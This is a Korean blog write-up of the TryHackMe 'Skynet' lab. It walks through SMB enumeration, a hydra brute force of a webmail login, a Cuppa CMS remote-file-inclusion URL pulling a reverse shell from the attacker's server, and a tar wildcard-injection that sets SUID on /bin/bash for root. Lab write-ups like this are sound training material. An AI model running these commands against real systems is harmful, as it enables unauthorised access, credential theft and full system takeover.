Target: Skynet @TryHackMe
Core Techniques: Gobuster (for Directory Enumeration), enum4linux (for SMB Share Enumeration), smbclient (for access SMB Share Directory), hydra (for Webmail Login Brute Forcing), Cuppa CMS RFI Exploit, Wildcard Injection (for Privilege Escalation)
Target IP: 10.10.10.96.160
Reconnaissance
먼저 Nmap을 통해 대상 서버에 열려있는 포트를 스캔한다. 그 결과, 대상 서버에는 22, 80, 110, 139, 143, SMB 프로토콜의 445번 포트가 열려있음을 확인할 수 있다.
/etc/hosts 파일을 통해 대상 서버의 IP를 skynet.thm이라는 도메인과 맵핑하도록 한다. 그 후, 브라우저를 통해 대상 서버의 80번 포트에 접속해보면 아래 그림에서 보듯 Google 검색 엔진의 모습과 흡사한, Skynet 검색 엔진의 웹페이지가 나오는 것을 볼 수 있다. 하지만 해당 페이지에는 특별한 기능이 존재하지는 않는다.
이후, Gobuster를 이용하여 아래와 같이, 디렉토리 브루트 포싱을 통한 Directory Enumertaion을 진행하여, 숨겨진 디렉토리를 찾는다. 그 결과, 대상 웹앱에는 /squirrelmail 이라는 디렉토리가 존재하는 것을 확인할 수 있다.
/squirrelmail 디렉토리에 접근 시, 아래 그림에서 보듯, /squirrelmail/src/login.php 경로로 리다이렉션되며, SquirrelMail이라는 웹메일 서비스가 동작중임을 확인할 수 있다.
enum4linux -S <Target_IP>
위 명령어를 사용하여 대상 서버에서 SMB를 통해 공유 중인 디렉토리를 찾는다. 그 결과, 비밀번호 없이 접근이 가능한 것(Mapping: OK)으로 확인되는 anonymous와 Miles Dyson이라는 사람의 개인 폴더로 보이는 milesdyson이라는 공유 폴더를 아래 그림에서 확인할 수 있다.
smbclient를 통해 /anonymous 공유 폴더에 접근해 본다. 그 결과, 아래 그림에서 보듯 비밀번호 없이 접근이 가능하다.
해당 공유 폴더에는 logs라는 디렉토리가 존재하고, 그 안에는 log[1-3].txt의 파일이 존재한다.
get log[1-3].txt 명령어를 통해 공격자 PC에 해당 파일들을 다운로드 한 후, 확인해보면, log1.txt 파일에서만 내용을 확인할 수 있었고, 해당 내용은 wordlist로 파악되며, 그 중에서도 비밀번호 wordlist로 유추가 된다.
Squirrel이라는 웹메일의 로그인 페이지로 돌아가, 로그인을 시도하고, 그 후, Burpsuite을 통해 http history를 확인해보면 아래 그림에서 보듯, HTTP method, Request path 및 본문의 내용을 확인할 수 있고, 또한 만약 로그인 실패 시, incorrect 단어를 포함하여 응답하는 것을 확인할 수 있다.
Exploit
이후, 얻은 위 정보를 바탕으로, hydra를 이용하여 아래와 같이 Brute Forcing을 진행하되, 사용자 아이디는 이전 SMB Share Folder에서 확인한, milesdyson으로 지정하여 공격을 진행한다.
hydra -l milesdyson -P log1.txt 10.10.96.160 http-post-form "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^:incorrect" -t 20
그 결과, 아래 그림에서 보듯, milesdyon이라는 사용자의 비밀번호가 cyborg007haloterminator인 것을 확인할 수 있다.
로그인 성공 후,해당 사용자의 메일함을 보면, 아래 그림에서 보듯 Samba Password reset 메일을 확인할 수 있다.
해당 메일을 확인해보면, 아래 그림에서 보듯, 시스템 오작동 이후, smb 비밀번호를 변경했다는 이야기와, 변경된 비밀번호가 나열되어 있다.
얻은 위 비밀번호를 통해, 아래 그림에서와 같이, milesdyson SMB 공유 폴더에 접근을 시도해본다. 그 결과, 접근이 가능하고, 해당 폴더에는 Notes라는 폴더가 존재하는 것을 확인할 수 있다.
Notes 폴더 내에는 important.txt 파일이 존재하는 것을 아래 그림을 통해 확인할 수 있다.
get important.txt 명령어를 통해 해당 파일을 공격자 PC에 다운로드 한 후 확인해보면, 해당 내용은 Miles Dyson이라는 사람의 할 일 목록을 나열한 것으로 보인다. 그리고 해당 내용에서 보듯이, /45kra24zxs28v3yd라는 디렉토리가 대상 웹앱에 숨겨져 있음을 유추할 수 있다.
/45kra24zxs28v3yd 디렉토리에 접근해보면, 아래 그림에서 보듯, Miles Dyson의 개인 페이지가 나오는 것을 확인할 수 있다.
해당 페이지를 기점으로, 위에서 진행했던 것과 마찬가지로, Gobuster를 통해 Directory Enumeration을 시행하도록 한다. 그 결과, /administrator라는 숨겨진 디렉토리가 존재함을 아래 그림에서 확인할 수 있다.
아래 그림에서 보듯, 브라우저를 통해 해당 경로로 접근해보면, 해당 페이지가 Cuppa라는 CMS로 구동 중임을 확인할 수 있다.
searchsploit을 통해 cuppa CMS의 취약점을 찾아본다. 그 결과, LFI/RFI 취약점을 악용할 수 있는 파일이 존재하는 것을 아래 그림을 통해 확인할 수 있다.
해당 파일의 내용을 확인해보면, /alerts/alertConfigField.php 파일 내 22번째 라인에 include() 함수를 사용하고 있는 것을 아래 그림에서 확인할 수 있는데, 문제는 사용자로부터 urlConfig라는 파라미터를 통해 입력값을 전달받는다는 것이다. 만약 사용자로부터 입력받는 urlConfig 파라미터에 대한 입력값 검증이 존재하지 않거나 충분하지 않을 경우, 공격자는 urlConfig 파라미터에 공격자 서버에 업로드되어 있는 Reverse Shell과 같은 악성코드를 Include 시킬 수 있다.
아래 그림에서 보듯 LFI/RFI 취약점과 악용 방법에 대해서는 해당 파일을 통해 더 자세히 확인할 수 있다.
대상 서버에서 구동 중인 Cuppa CMS의 RFI 취약점을 악용하기 위해, Reverse Shell을 사용할 것이며, Exploit에 사용할 Reverse Shell은 Kali linux에 기본으로 내장된 스크립트를 사용하도록 한다.
혹은 https://www.revshells.com/ 사이트를 통해 Reverse Shell Code를 획득할 수 있으며, 그 중 PHP PentestMonkey의 Reverse Shell Code가 Kali Linux에 기본적으로 내장된 PHP Reverse Shell 코드와 동일하다.
해당 스크립트의 내용 중, IP와 Port를 공격자 측 IP와 Netcat을 통해 Listening 하고 있을 Port로 지정한다.
아래 그림에서 보듯 Netcat을 이용하여, 역방향 연결을 위해 공격자 측에서 Listening 상태로 대기한다.
RFI 취약점을 악용하기 위해서는 공격자 서버가 구동 중이여야 함으로, 아래와 같이 python을 이용하여 간단히 공격자 측에 웹서버를 구동한다.
http://skynet.thm/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.4.97.210:8888/revShell.php |
위 URI를 브라우저에 입력하여, 대상 시스템의 Cuppa CMS RFI 취약점을 악용하여 공격자 측과 역방향 연결이 되도록 한다. 해당 결과는 아래 그림에서 확인할 수 있으며, 대상 시스템과 역방향 연결에 성공한 것을 확인할 수 있다.
Privilege Escalation
python -c "import pty; pty.spawn('/bin/bash')"
먼저 위 명령어를 입력하여 대상 서버의 쉘 환경을 업그레이드 해준다.
이후 Linux 시스템에서 정기적인 작업을 관리하는 Cron job의 전역 설정파일인 /etc/crontab 파일의 내용을 확인해본다. 그 결과, 대상 시스템에서는 매 분(*/1),즉 1분마다 /home/milesdyson/backups/backup.sh라는 쉘 스크립트를 Root 권한으로 실행하고 있는 것을 아래 그림을 통해 확인할 수 있다.
/home/milesdyson/backups 경로로 이동하여, backup.sh 파일의 내용을 확인해보면, 아래 그림에서 볼 수 있듯이, 매 분마다, Apache와 같은 웹서버의 루트 디렉토리(/var/www/html)로 이동 후, 대상 디렉토리 내의 모든 파일(*)을 backup.tgz로 압축하여 저장하고 있는 것을 확인할 수 있다. 즉 매 분마다 웹서버 루트 디렉토리 내의 모든 파일을 .tgz 아카이브로 백업하는 스크립트가 동작 중임을 확인할 수 있다.
현재 위 그림에서 보듯이, 매 분마다 tar 명령어를 통해 tgz 아카이브를 생성할 때, *라는 wildcard를 사용하고 있다. 이는 /var/www/html 디렉토리 내 모든 파일을 의미하는데, 실제적으로 tar 명령이 실행될 때 아래와 같이 파일들이 나열되게 된다.
tar cf /home/milesdyson/backups/backup.tgz index.html image.png … style.css |
따라서, 만약 파일 이름 자체를 tar 명령어의 옵션으로 지정하면, tar 명령어 실행 시, 해당 파일은 tar 명령어의 옵션으로써 동작하게 된다.
wildcard와 tar 명령어를 악용하기 위해 사용할 수 있는 옵션은 --checkpoint=[NUMBER], --checkpoint-action=exec=[COMMAND] 옵션이 존재한다.
--checkpoint 옵션은 tgz 아카이브 생성 시, 체크포인트를 생성하도록 강제한 후, tar 명령어가 하나의 파일을 처리할 때마다, --checkpoint-action 옵션에 설정된 명령어를 실행하도록 만든다.
그리고 이를 활용한 공격기법을 Wildcard Injection이라 한다.
따라서, 공격자는 Wildcard Injection을 이용하여 --checkpoint-action에 권한 상승을 위한 쉘 스크립트를 실행하도록 유도함으로써, 권한 상승에 성공할 수 있다.
printf '#!/bin/bash\nchmod +s /bin/bash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" >> --checkpoint=1
대상 시스템에서 권한 상승을 하기 위한 Wildcard Injection의 코드는 위와 같다. 먼저 bash라는 쉘에 SUID를 설정하는 스크립트를 shell.sh 파일로 저장 후, 체크포인트가 설정되면, 해당 쉘 스크립트가 실행되도록 --checkpoint-action 옵션에 지정한 후, 마지막으로 해당 동작을 트리거하기 위해, --checkpoint 옵션을 통해 체크포인트를 설정해준다.
SUID가 설정된 파일은 해당 파일 실행 시, 파일 소유자의 권한으로 해당 파일을 실행하기 때문에, Cron job에 설정된 대로, 1분이 지난 후, /bin/bash -p 명령어를 입력하면, /bin/bash는 SUID가 설정되어 있음으로, 해당 파일의 소유자인 Root 권한으로 실행되게 된다. 따라서 아래 그림에서 확인할 수 있듯이 공격자는 Root 권한을 획득한 쉘을 얻게 된다.
'InfoSec Log > PenTesting' 카테고리의 다른 글
[Forensics] Overpass 2 -Hacked Writeup @TryHackMe (0) | 2025.01.10 |
---|---|
[PenTesting] Daily Bugle Writeup @TryHackMe (0) | 2025.01.09 |
[PenTesting] Game Zone Writeup @TryHackMe (1) | 2025.01.05 |
[PenTesting] mKingdom 침투테스트 @TryHackMe (3) | 2024.10.01 |
[PenTesting] Lazy Admin 침투테스트 @TryHackMe (1) | 2024.09.27 |